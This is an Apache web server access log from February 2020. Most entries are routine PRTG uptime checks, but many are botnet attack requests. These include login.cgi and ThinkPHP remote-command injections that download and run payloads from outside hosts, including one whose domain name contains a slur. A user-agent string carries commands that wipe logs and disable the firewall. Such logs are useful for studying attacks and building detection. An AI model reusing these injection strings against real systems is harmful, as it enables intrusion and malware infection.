212.91.246.72 - - [17/Feb/2020:15:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.230.115.170 - - [17/Feb/2020:15:35:11 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [17/Feb/2020:15:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.100.26.247 - - [17/Feb/2020:15:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [17/Feb/2020:15:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.141.7.240 - - [17/Feb/2020:15:39:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.243.50.93 - - [17/Feb/2020:15:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.215.221 - - [17/Feb/2020:15:45:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:15:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [17/Feb/2020:15:50:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:15:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [17/Feb/2020:15:53:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:15:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.224.69.110 - - [17/Feb/2020:15:53:55 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:15:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.50.184 - - [17/Feb/2020:15:54:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:15:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [17/Feb/2020:15:55:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
45.40.166.141 - - [17/Feb/2020:15:55:56 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
211.218.0.195 - - [17/Feb/2020:15:55:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.40.166.141 - - [17/Feb/2020:15:55:57 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
211.218.0.195 - - [17/Feb/2020:15:56:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.60.123.74 - - [17/Feb/2020:15:56:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [17/Feb/2020:15:56:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:15:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [17/Feb/2020:15:56:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
27.216.245.215 - - [17/Feb/2020:15:56:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
92.112.62.218 - - [17/Feb/2020:15:57:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:15:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:15:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.99.152.25 - - [17/Feb/2020:16:02:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:16:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.212.129.124 - - [17/Feb/2020:16:09:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.206.164.46 - - [17/Feb/2020:16:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [17/Feb/2020:16:11:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [17/Feb/2020:16:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.87.78.189 - - [17/Feb/2020:16:14:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:16:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [17/Feb/2020:16:16:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [17/Feb/2020:16:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:16:17:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:16:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.201.151.244 - - [17/Feb/2020:16:19:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:16:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [17/Feb/2020:16:19:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:16:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:16:26:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:16:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [17/Feb/2020:16:29:41 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [17/Feb/2020:16:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.237.80.130 - - [17/Feb/2020:16:32:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.168.135.47 - - [17/Feb/2020:16:32:29 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [17/Feb/2020:16:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.196.23.99 - - [17/Feb/2020:16:34:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:16:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.248.43.109 - - [17/Feb/2020:16:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.237.64.2 - - [17/Feb/2020:16:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:16:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.110.150.176 - - [17/Feb/2020:16:44:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:16:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [17/Feb/2020:16:46:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:16:46:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:16:47:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:16:47:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:16:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [17/Feb/2020:16:47:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:16:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:16:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
